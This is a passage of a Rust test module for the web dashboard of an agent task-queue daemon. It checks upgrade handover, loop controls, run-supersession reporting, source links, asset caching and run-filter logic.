21565 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21566 for _ in 0..500 {
21568 if !ui.loop_view(None).running {
21569 break;
21570 }
21571 tokio::time::sleep(Duration::from_millis(2)).await;
21572 }
21573 assert!(handed_over(&home, ui).await, "a running loop must resume");
21574
21575 let successor = idle_ui(&home);
21576 assert!(!successor.loop_view(None).running);
21577 assert!(successor.resume_after_handover(true));
21578 assert!(successor.loop_view(None).running);
21579 successor.stop_loop(None, false).expect("stop");
21580 }
21581
21582 #[tokio::test]
21583 async fn a_second_upgrade_request_keeps_the_resume_intent() {
21584 let home = TempDir::new().expect("temp home");
21585 let ui = idle_ui(&home);
21586 ui.start_loop(None).expect("start");
21587 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21588 .expect("first park");
21589 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21590 .expect("second park");
21591 assert!(handed_over(&home, ui).await);
21592 }
21593
21594 #[tokio::test]
21595 async fn a_stop_during_the_handover_wait_is_honoured() {
21596 let home = TempDir::new().expect("temp home");
21597 let ui = idle_ui(&home);
21598 ui.start_loop(None).expect("start");
21599 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21600 ui.stop_loop(None, false).expect("stop");
21601 assert!(!handed_over(&home, ui).await);
21602 }
21603
21604 #[tokio::test]
21605 async fn an_idle_loop_stays_stopped_across_the_handover() {
21606 let home = TempDir::new().expect("temp home");
21607 let ui = idle_ui(&home);
21608 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21609 assert!(!handed_over(&home, ui).await);
21610
21611 let successor = idle_ui(&home);
21612 assert!(!successor.resume_after_handover(false));
21613 assert!(!successor.loop_view(None).running);
21614 }
21615
21616 #[tokio::test]
21617 async fn a_loop_the_operator_stopped_is_not_resumed() {
21618 let home = TempDir::new().expect("temp home");
21619 let ui = idle_ui(&home);
21620 ui.start_loop(None).expect("start");
21621 ui.stop_loop(None, false).expect("stop");
21622 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21623 assert!(!handed_over(&home, ui).await);
21624 }
21625
21626 #[test]
21627 fn only_an_explicit_one_requests_a_resume() {
21628 assert!(!resume_requested(None));
21629 assert!(!resume_requested(Some("0".into())));
21630 assert!(!resume_requested(Some("".into())));
21631 assert!(resume_requested(Some("1".into())));
21632 }
21633
21634 #[test]
21635 fn the_upgrade_button_arms_before_it_restarts_anything() {
21636 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
21639 assert!(APP_JS.contains("Replace the binary and restart?"));
21640 assert!(APP_JS.contains("function confirmed("));
21641 assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
21646 assert!(
21650 APP_JS.contains("Parking, then restarting"),
21651 "the button says what it is waiting for"
21652 );
21653 assert!(APP_JS.contains("if (!out.to)"));
21656 }
21657
21658 #[test]
21659 fn stopping_the_loop_arms_but_starting_does_not() {
21660 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
21663 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
21664 assert!(APP_JS.contains("confirmed(button, question)"));
21665 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
21668 assert!(APP_JS.contains("const label = btn.textContent;"));
21669 assert!(!APP_JS.contains("Neither direction is guarded"));
21670 }
21671
21672 #[test]
21673 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
21674 assert!(
21675 APP_JS.contains("state.health.version"),
21676 "the operator wants to know what is running even with nothing newer"
21677 );
21678 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
21679 }
21680
21681 #[test]
21682 fn the_upgrade_button_names_its_destination() {
21683 assert!(
21684 APP_JS.contains("`Update to ${update.to}`"),
21685 "pressing the button should not be a surprise about what it moves to"
21686 );
21687 }
21688
21689 #[test]
21690 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
21691 for stage in ["downloading", "replaced", "parking", "restarting"] {
21692 assert!(
21693 APP_JS.contains(&format!("\"{stage}\"")),
21694 "the phone must be able to tell {stage} apart from the others"
21695 );
21696 }
21697 assert!(APP_JS.contains(".waiting_on"));
21698 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
21703 assert!(APP_JS.contains("reconnects on its own"));
21704 }
21705
21706 #[test]
21707 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
21708 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
21709 ..APP_JS.find("function upgrade(").expect("upgrade")];
21710 assert!(!body.contains(
21711 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
21712 ));
21713 assert!(body.contains("renderUpgradeError();"));
21714 assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
21715 }
21716
21717 #[test]
21718 fn an_overdue_upgrade_eventually_asks_for_a_human() {
21719 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
21722 assert!(APP_JS.contains("function upgradeOverdue("));
21723 }
21724
21725 #[test]
21726 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
21727 assert!(
21728 APP_JS.contains("Updated to ${upgradeInfo.to"),
21729 "the operator who asked for the restart wants to know it worked"
21730 );
21731 }
21732
21733 #[test]
21734 fn an_error_is_visible_from_where_the_button_is() {
21735 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
21740 ..APP_CSS.find(".alert-text").expect(".alert-text")];
21741 assert!(
21742 alert.contains("position: fixed"),
21743 "an error about the thing under your thumb has to be visible from \
21744 where your thumb is: {alert}"
21745 );
21746 assert!(
21747 alert.contains("z-index: 25"),
21748 "above the dock (20) and the run-actions FAB (15), so neither \
21749 buries it: {alert}"
21750 );
21751 assert!(
21752 alert.contains("var(--tap)"),
21753 "and clear of the dock and the home indicator: {alert}"
21754 );
21755 assert!(
21758 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
21759 "the FAB's column stays free: {alert}"
21760 );
21761 }
21762
21763 #[tokio::test]
21764 async fn an_older_attempt_says_what_replaced_it() {
21765 let fx = Fixture::start().await;
21766 let q = fx.queue();
21767 let runs = fx.runs();
21768 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21769 write_run(&runs, first, RunStatus::Stalled);
21770 write_run(&runs, second, RunStatus::Blocked);
21771
21772 let mut t = Task::new(
21773 "one task".to_owned(),
21774 "do it".to_owned(),
21775 PathBuf::from("/repo"),
21776 Source::Human,
21777 );
21778 t.runs = vec![first.to_owned(), second.to_owned()];
21779 q.put(&mut t).expect("put");
21780
21781 let rows = fx.get("/api/runs").await.json();
21785 let by = |short: &str| -> Value {
21786 rows.as_array()
21787 .unwrap()
21788 .iter()
21789 .find(|r| r["short"] == short)
21790 .cloned()
21791 .unwrap_or(Value::Null)
21792 };
21793 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
21794 assert!(
21795 by("bbbb")["superseded_by"].is_null(),
21796 "the latest attempt is not superseded by anything"
21797 );
21798 assert!(APP_JS.contains("run.superseded_by"));
21800 assert!(APP_JS.contains("Superseded by"));
21801 }
21802
21803 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
21804 let mut t = Task::new(
21805 "one task".to_owned(),
21806 "do it".to_owned(),
21807 PathBuf::from("/repo"),
21808 Source::Human,
21809 );
21810 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
21811 t.status = status;
21812 t
21813 }
21814
21815 #[test]
21816 fn source_link_picks_the_page_that_filed_the_task() {
21817 let agent = |node: &str| Source::Agent {
21818 run: "20260904-014455-ab12".to_owned(),
21819 node: node.to_owned(),
21820 };
21821 let chat = source_link(&agent("chat")).expect("chat link");
21822 assert_eq!(chat.kind, "chat");
21823 assert_eq!(chat.id, "20260904-014455-ab12");
21824 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
21825 let run = source_link(&agent("implement")).expect("run link");
21826 assert_eq!(
21827 (run.kind, run.href.as_str()),
21828 ("run", "#/runs/20260904-014455-ab12")
21829 );
21830 assert_eq!(source_link(&Source::Human), None);
21831 assert_eq!(
21832 source_link(&Source::Issue {
21833 number: 3,
21834 repo: "o/r".to_owned()
21835 }),
21836 None
21837 );
21838 let odd = source_link(&Source::Agent {
21839 run: "a b/c".to_owned(),
21840 node: "chat".to_owned(),
21841 })
21842 .expect("link");
21843 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
21844 }
21845
21846 #[test]
21847 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
21848 assert!(
21849 !APP_JS.contains("src.node === \"chat\""),
21850 "inline href rule is back"
21851 );
21852 assert!(
21853 APP_JS.matches("sourceLinkOf(").count() >= 4,
21854 "helper must serve every page"
21855 );
21856 assert!(
21857 APP_JS.matches("openChatLink(").count() >= 3,
21858 "the run page still needs its explicit chat link"
21859 );
21860 assert!(
21861 !APP_JS.contains("const openChat = el("),
21862 "the Queue card duplicates its source label link again"
21863 );
21864 assert!(
21865 APP_JS.contains("metaKids.push(link ? el(\"a\""),
21866 "the task page must link a chat source label too"
21867 );
21868 }
21869
21870 #[test]
21871 fn task_ref_carries_the_source_link_for_a_chat_task() {
21872 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21873 t.source = Source::Agent {
21874 run: "20260904-014455-ab12".to_owned(),
21875 node: "chat".to_owned(),
21876 };
21877 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
21878 let v = serde_json::to_value(&out).expect("json");
21879 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
21880 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
21881 assert_eq!(v["source_label"], t.source.label());
21882
21883 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21884 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
21885 .expect("json");
21886 assert!(v["source_link"].is_null(), "{v}");
21887 }
21888
21889 #[test]
21890 fn task_view_serializes_source_link() {
21891 let mut t = Task::new(
21892 "t".to_owned(),
21893 "t".to_owned(),
21894 PathBuf::from("/repo"),
21895 Source::Agent {
21896 run: "20260901-000000-aaaa".to_owned(),
21897 node: "implement".to_owned(),
21898 },
21899 );
21900 t.runs.clear();
21901 let v = serde_json::to_value(TaskView::from(t)).expect("json");
21902 assert_eq!(v["source_link"]["kind"], "run", "{v}");
21903 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
21904 }
21905
21906 #[test]
21907 fn task_view_serializes_urgent_flag() {
21908 let mut t = Task::new(
21909 "t".to_owned(),
21910 "t".to_owned(),
21911 PathBuf::from("/repo"),
21912 Source::Human,
21913 );
21914 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
21915 assert_eq!(v["urgent"], false, "{v}");
21916 t.urgent = true;
21917 let v = serde_json::to_value(TaskView::from(t)).expect("json");
21918 assert_eq!(v["urgent"], true, "{v}");
21919 assert!(APP_JS.contains("task.urgent === true"));
21920 }
21921
21922 #[tokio::test]
21923 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
21924 let fx = Fixture::start().await;
21925 let runs = fx.runs();
21926 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21927 write_run(&runs, old, RunStatus::Blocked);
21928 write_run(&runs, new, RunStatus::Merged);
21929 let mut t = outcome_task(&[old, new], TaskStatus::Done);
21930 fx.queue().put(&mut t).expect("put");
21931
21932 let view = fx.get(&format!("/api/runs/{old}")).await.json();
21933 let task = &view["task"];
21934 assert_eq!(task["status"], "done");
21935 assert_eq!(task["is_latest"], false);
21936 assert_eq!(task["latest"]["short"], "bbbb");
21937 assert_eq!(task["finished_by"]["id"], new);
21938 assert_eq!(task["finished_by"]["outcome"], "merged");
21939 assert_eq!(task["closed_by_hand"], false);
21940 assert_eq!(view["status"], "blocked", "the run keeps its own status");
21941 assert!(APP_JS.contains("finished_by"));
21942 assert!(APP_JS.contains("superseded by run"));
21943 }
21944
21945 #[tokio::test]
21946 async fn the_latest_run_reports_a_held_task_without_a_successor() {
21947 let fx = Fixture::start().await;
21948 let runs = fx.runs();
21949 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21950 write_run(&runs, old, RunStatus::Stalled);
21951 write_run(&runs, new, RunStatus::Blocked);
21952 let mut t = outcome_task(&[old, new], TaskStatus::Held);
21953 fx.queue().put(&mut t).expect("put");
21954
21955 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
21956 assert_eq!(task["status"], "held");
21957 assert_eq!(task["is_latest"], true);
21958 assert!(task["latest"].is_null());
21959 assert!(task["finished_by"].is_null());
21960 assert_eq!(task["closed_by_hand"], false);
21961 }
21962
21963 #[tokio::test]
21964 async fn a_direct_run_has_no_task_outcome() {
21965 let fx = Fixture::start().await;
21966 let runs = fx.runs();
21967 let id = "20260901-000000-aaaa";
21968 write_run(&runs, id, RunStatus::Blocked);
21969 let view = fx.get(&format!("/api/runs/{id}")).await.json();
21970 assert!(view["task"].is_null());
21971 }
21972
21973 #[test]
21974 fn task_outcome_does_not_guess_a_finishing_run() {
21975 let a = "20260901-000000-aaaa";
21976 let b = "20260901-000000-bbbb";
21977 let c = "20260901-000000-cccc";
21978 let dir = tempfile::tempdir().expect("tempdir");
21979 write_run(dir.path(), a, RunStatus::Blocked);
21980 write_run(dir.path(), b, RunStatus::VerifiedNoop);
21981 let read = |id: &str| read_run(dir.path(), id).ok();
21983 let t = outcome_task(&[a, b, c], TaskStatus::Done);
21986 let out = task_outcome(&t, a, 3, read);
21987 assert!(out.finished_by.is_none());
21988 assert!(out.closed_by_hand);
21989 let latest = out.latest.expect("latest");
21990 assert_eq!(latest.id, c);
21991 assert_eq!(latest.status, None);
21992 assert_eq!(latest.outcome, "record unreadable");
21993
21994 write_run(dir.path(), c, RunStatus::Ready);
21996 let t = outcome_task(&[a, c], TaskStatus::Done);
21997 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
21998 assert_eq!(out.finished_by.expect("finisher").id, c);
21999 assert!(!out.closed_by_hand);
22000
22001 let t = outcome_task(&[a, b, a], TaskStatus::Held);
22003 assert!(task_outcome(&t, a, 3, read).is_latest);
22004 }
22005
22006 #[tokio::test]
22007 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
22008 let fx = Fixture::start().await;
22013 let q = fx.queue();
22014 let runs = fx.runs();
22015 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
22016 write_run(&runs, first, RunStatus::Blocked);
22017 write_run(&runs, second, RunStatus::Merged);
22018
22019 let mut t = Task::new(
22020 "one task".to_owned(),
22021 "do it".to_owned(),
22022 PathBuf::from("/repo"),
22023 Source::Human,
22024 );
22025 t.runs = vec![first.to_owned(), second.to_owned()];
22026 q.put(&mut t).expect("put");
22027
22028 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
22029 assert_eq!(earlier["superseded_by"], "dddd");
22030 assert_eq!(earlier["latest_attempt"]["id"], second);
22031 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22032 assert_eq!(
22033 earlier["latest_attempt"]["resolved"], true,
22034 "the run that replaced it landed, so this one reads as settled"
22035 );
22036
22037 let later = fx.get(&format!("/api/runs/{second}")).await.json();
22038 assert!(
22039 later["superseded_by"].is_null(),
22040 "the latest attempt is not superseded by anything"
22041 );
22042 assert!(
22043 later["latest_attempt"].is_null(),
22044 "the latest attempt has no later attempt of its own"
22045 );
22046
22047 assert!(APP_JS.contains("run.latest_attempt"));
22054 assert!(APP_JS.contains("data-superseded"));
22055 assert!(APP_JS.contains("#/runs/${latest.id}"));
22056 }
22057
22058 #[tokio::test]
22059 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22060 let fx = Fixture::start().await;
22066 let q = fx.queue();
22067 let runs = fx.runs();
22068 let (a, b, c) = (
22069 "20260901-000000-aaaa",
22070 "20260901-000000-bbbb",
22071 "20260901-000000-cccc",
22072 );
22073 write_run(&runs, a, RunStatus::Blocked);
22074 write_run(&runs, b, RunStatus::Blocked);
22075 write_run(&runs, c, RunStatus::Merged);
22076
22077 let mut t = Task::new(
22078 "retried twice".to_owned(),
22079 "do it".to_owned(),
22080 PathBuf::from("/repo"),
22081 Source::Human,
22082 );
22083 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22084 q.put(&mut t).expect("put");
22085
22086 let view = fx.get(&format!("/api/runs/{a}")).await.json();
22087 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22088 assert_eq!(
22089 view["latest_attempt"]["id"], c,
22090 "the chain's current head, not the intermediate Blocked retry"
22091 );
22092 assert_eq!(view["latest_attempt"]["resolved"], true);
22093
22094 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22095 assert_eq!(mid["latest_attempt"]["id"], c);
22096 assert_eq!(mid["latest_attempt"]["resolved"], true);
22097 }
22098
22099 #[tokio::test]
22100 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22101 let fx = Fixture::start().await;
22102 let q = fx.queue();
22103 let runs = fx.runs();
22104
22105 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22108 write_run(&runs, still_blocked_a, RunStatus::Blocked);
22109 write_run(&runs, still_blocked_b, RunStatus::Blocked);
22110 let mut t1 = Task::new(
22111 "still stuck".to_owned(),
22112 "do it".to_owned(),
22113 PathBuf::from("/repo"),
22114 Source::Human,
22115 );
22116 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22117 q.put(&mut t1).expect("put");
22118 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22119 assert_eq!(view1["latest_attempt"]["resolved"], false);
22120 assert_eq!(view1["latest_attempt"]["status"], "blocked");
22121 assert_eq!(view1["latest_attempt"]["done"], true);
22122
22123 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
22125 write_run(&runs, run_a, RunStatus::Blocked);
22126 write_run(&runs, run_b, RunStatus::Implementing);
22127 let mut t3 = Task::new(
22128 "retrying".to_owned(),
22129 "do it".to_owned(),
22130 PathBuf::from("/repo"),
22131 Source::Human,
22132 );
22133 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
22134 q.put(&mut t3).expect("put");
22135 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
22136 assert_eq!(view3["latest_attempt"]["id"], run_b);
22137 assert_eq!(view3["latest_attempt"]["resolved"], false);
22138 assert_eq!(view3["latest_attempt"]["done"], false);
22139
22140 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
22145 write_run(&runs, noop_a, RunStatus::Blocked);
22146 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
22147 let mut t2 = Task::new(
22148 "claims done".to_owned(),
22149 "do it".to_owned(),
22150 PathBuf::from("/repo"),
22151 Source::Human,
22152 );
22153 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
22154 q.put(&mut t2).expect("put");
22155 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
22156 assert_eq!(
22157 view2["latest_attempt"]["resolved"], false,
22158 "an unverified no-op claim must not read as a confirmed finish"
22159 );
22160
22161 assert!(APP_JS.contains("latest.resolved"));
22164 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
22167 assert!(APP_JS.contains("Latest attempt: "));
22168 assert!(APP_JS.contains("in flight"));
22169 assert!(APP_JS.contains("not resolved"));
22170 }
22171
22172 #[tokio::test]
22173 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
22174 let fx = Fixture::start().await;
22175 let js = fx.get("/app.js").await;
22181 assert_eq!(js.status, 200);
22182 let tag = js
22183 .header("etag")
22184 .expect("an etag to revalidate against")
22185 .to_owned();
22186 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
22187 assert_eq!(
22188 js.header("cache-control"),
22189 Some("no-cache, must-revalidate"),
22190 "the phone has to ask every time"
22191 );
22192
22193 let again = fx
22196 .get_with("/app.js", &[("if-none-match", tag.as_str())])
22197 .await;
22198 assert_eq!(
22199 again.status, 304,
22200 "a deck it already has costs one round trip"
22201 );
22202 assert!(again.body.is_empty(), "304 carries no body");
22203
22204 let weak = fx
22207 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
22208 .await;
22209 assert_eq!(weak.status, 304);
22210 let stale = fx
22211 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
22212 .await;
22213 assert_eq!(stale.status, 200, "an older build must be replaced");
22214 assert!(stale.body.contains("renderRunActions"));
22215 }
22216
22217 #[test]
22218 fn the_task_detail_has_an_actions_fab_and_sheet() {
22219 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
22220 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
22221 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
22222 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
22224 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
22225 assert!(APP_JS.contains("renderTaskActions(task);"));
22227 assert!(APP_JS.contains("renderTaskActions(null);"));
22228 let sheet = APP_JS
22230 .find("function renderTaskActions")
22231 .expect("sheet renderer");
22232 let body = &APP_JS[sheet..sheet + 3000];
22233 assert!(body.contains("changePriority("));
22234 assert!(body.contains("openTaskEdit(task)"));
22235 assert!(body.contains("renderTaskHoldBox(host"));
22236 assert!(body.contains("renderTaskDoneBox(host"));
22237 assert!(body.contains("renderTaskDeleteBox(host"));
22238 assert!(APP_JS.contains("API.priority(id)"));
22239 assert!(APP_JS.contains("API.deleteTask(id)"));
22240 assert!(APP_JS.contains("location.hash = \"#/queue\""));
22242 assert!(APP_JS.contains("$(\"task-actions-error\")"));
22244 }
22245
22246 #[test]
22247 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
22248 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
22249 let actions = INDEX_HTML
22250 .find("id=\"run-actions-box\"")
22251 .expect("actions box");
22252 assert!(task < actions, "the task entry comes first in the sheet");
22253 assert!(APP_JS.contains("renderRunTaskEntry"));
22254 assert!(APP_JS.contains("\"Open task \""));
22255 assert!(APP_JS.contains("started directly, no task"));
22257 assert!(APP_JS.contains("sheet-task-link"));
22258 assert!(APP_JS.contains("task-chip-link"));
22259 }
22260
22261 #[test]
22262 fn the_deck_never_sends_the_operator_to_a_terminal() {
22263 assert!(
22266 !APP_JS.contains("Run `magi fold` first"),
22267 "the deck must offer the fold, not prescribe a shell command"
22268 );
22269 assert!(APP_JS.contains("foldRun:"));
22270 assert!(APP_JS.contains("resumeRun:"));
22271 assert!(APP_JS.contains("renderRunActions"));
22272
22273 assert!(APP_JS.contains("armedFold"));
22275 assert!(APP_JS.contains("Yes, fold worktrees"));
22276
22277 assert!(APP_JS.contains("can no longer be resumed"));
22280 }
22281
22282 #[test]
22283 fn a_finished_run_explains_itself_with_its_own_last_line() {
22284 assert!(
22290 !APP_JS.contains("collapsed on agent quota"),
22291 "a stall must not be explained by a cause the deck did not check"
22292 );
22293 assert!(
22294 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
22295 "and a block must not offer a guess with an `or` in it"
22296 );
22297
22298 assert!(
22302 APP_JS.contains("setText(r.event, run.event || \"\")"),
22303 "the run's last line is rendered unconditionally"
22304 );
22305 assert!(
22306 !APP_JS.contains("moving && run.event"),
22307 "and never gated on the run still moving"
22308 );
22309
22310 assert!(APP_JS.contains("lost to quota"));
22312 }
22313
22314 #[test]
22336 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
22337 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
22338 let shapes_body_start =
22339 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
22340 let shapes_close = APP_JS[shapes_body_start..]
22341 .find("].map(")
22342 .expect("the shape list is closed by its done-computing .map(...)")
22343 + shapes_body_start;
22344 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
22345
22346 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
22347 for entry in shapes_src.split('{').skip(1) {
22348 let waiting = entry.contains("waiting: true");
22349 let dead = entry.contains("live: \"dead\"");
22350 let status_at =
22351 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
22352 let status_end = entry[status_at..]
22353 .find('"')
22354 .expect("the status string is closed")
22355 + status_at;
22356 let parked = entry.contains("display_status: \"parked\"");
22357 shapes.push((
22358 waiting,
22359 entry[status_at..status_end].to_string(),
22360 dead,
22361 parked,
22362 ));
22363 }
22364 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
22365
22366 let done_rule_marker = "done: !";
22370 let done_rule_at = APP_JS[shapes_close..]
22371 .find(done_rule_marker)
22372 .expect("the done rule follows the shape list")
22373 + shapes_close
22374 + done_rule_marker.len();
22375 let includes_at = APP_JS[done_rule_at..]
22376 .find(".includes(shape.status)")
22377 .expect("the done rule ends in .includes(shape.status)")
22378 + done_rule_at;
22379 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
22380 .trim()
22381 .trim_start_matches('[')
22382 .trim_end_matches(']')
22383 .split(',')
22384 .map(|s| s.trim().trim_matches('"'))
22385 .filter(|s| !s.is_empty())
22386 .collect();
22387
22388 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
22389 .into_iter()
22390 .map(|(waiting, status, dead, parked)| {
22391 let done = !not_done.contains(&status.as_str());
22392 (waiting, status, dead, parked, done)
22393 })
22394 .collect();
22395
22396 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
22400 if waiting {
22401 return "waiting";
22402 }
22403 if dead
22404 && !parked
22405 && !matches!(
22406 status,
22407 "merged"
22408 | "ready"
22409 | "stalled"
22410 | "blocked"
22411 | "failed"
22412 | "verified_noop"
22413 | "superseded"
22414 | "already_in_base"
22415 )
22416 {
22417 return "stale";
22418 }
22419 match status {
22420 "merged" | "ready" => "landed",
22421 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
22422 | "already_in_base" => "ended",
22423 _ => "flight",
22424 }
22425 }
22426
22427 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
22430 match filter_key {
22431 "active" => !done,
22432 "flight" => !done && !waiting && !dead,
22433 "stale" => !done && !waiting && dead,
22434 "waiting" => waiting,
22435 "done" => done,
22436 "all" => true,
22437 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
22438 }
22439 }
22440
22441 let compatible = |section: &str, filter_key: &str| {
22442 shapes.iter().any(|(waiting, status, dead, parked, done)| {
22443 run_section(*waiting, status, *dead, *parked) == section
22444 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
22445 })
22446 };
22447
22448 let expected = [
22453 ("waiting", [true, false, false, true, true, true]),
22454 ("stale", [true, false, true, false, false, true]),
22455 ("flight", [true, true, false, false, false, true]),
22456 ("landed", [false, false, false, false, true, true]),
22457 ("ended", [false, false, false, false, true, true]),
22458 ];
22459 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
22460
22461 for (section, wants) in expected {
22462 for (filter_key, want) in filter_keys.iter().zip(wants) {
22463 assert_eq!(
22464 compatible(section, filter_key),
22465 want,
22466 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
22467 );
22468 }
22469 }
22470
22471 assert!(
22474 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
22475 );
22476 assert!(APP_JS.contains(
22477 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
22478 ));
22479 assert!(APP_JS.contains(
22480 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
22481 ));
22482 }
22483
22484 #[tokio::test]
22485 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
22486 let dir = tempfile::tempdir().expect("tempdir");
22490 let explicit = dir.path().join("not-a-checkout");
22491 std::fs::create_dir_all(&explicit).expect("create dir");
22492 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
22493
22494 let missing = dir.path().join("does-not-exist-at-all");
22495 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
22496 }
22497
22498 #[test]
22499 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
22500 assert!(APP_JS.contains("function statsDonutArcs"));
22501 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
22502 assert!(APP_JS.contains("function statusInBucket"));
22504 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
22505 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
22506 let buckets = [
22507 "merged",
22508 "ready",
22509 "in_progress",
22510 "blocked",
22511 "failed",
22512 "verified_noop",
22513 "superseded",
22514 "stalled",
22515 ];
22516 for key in buckets {
22517 let var = format!("--verdict-{key}:");
22518 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
22520 assert!(
22521 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
22522 "{key}"
22523 );
22524 }
22525 }
22526}